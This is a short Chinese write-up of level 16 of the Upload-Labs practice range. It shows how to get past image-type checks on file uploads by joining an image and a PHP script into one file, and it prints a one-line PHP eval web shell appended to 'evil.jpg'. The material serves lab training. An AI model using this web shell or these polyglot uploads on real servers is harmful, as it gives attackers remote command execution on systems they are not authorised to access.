upload-labs靶场16

### 关于 Upload-Labs 靶场第16关

Upload-Labs 是一个用于学习和实践文件上传漏洞的靶场项目。对于第16关，主要涉及的是通过特定方式绕过服务器端对图片类型的验证机制来实现攻击目的。

#### 绕过图像类型检测的方法

在这一关卡中，目标是让服务端接受恶意构造的文件作为合法图片处理。通常情况下，Web应用程序会检查上传文件的内容类型（MIME Type）、扩展名以及文件头信息以确认其确实是一个图片文件。然而，在某些场景下这些防护措施可能不够完善，从而允许攻击者利用这一点实施攻击[^1]。

为了成功完成此挑战，可以采用如下策略：

- **创建复合型文件**：将正常图片与PHP脚本相结合形成一个新的二进制文件。例如，可以通过命令`copy image.jpg + code.php result.jpg` (Windows环境下) 或 `cat img.jpg phpcode.php > combinedfile.jpg`(Linux/MacOS环境下)，使得最终得到的结果既保留了原始图片特征又嵌入了可被执行的PHP代码片段[^3]。

- **利用EXIF元数据注入**：许多数码相机拍摄的照片都会携带额外的数据记录诸如地理位置、设备型号等信息，这部分被称为EXIF metadata。如果应用仅依赖简单的签名匹配而忽略了深入解析，则可以在不影响显示效果的前提下向JPEG格式内写入任意字符串甚至完整的webshell payload。

# 创建含有隐藏payload的jpg文件
echo "<?php @eval($_POST['cmd']);?>" >> evil.jpg

上述方法能够帮助理解如何巧妙地规避基于表象层面的安全过滤逻辑，但值得注意的是实际环境中应当遵循法律法规并获得授权后再做尝试。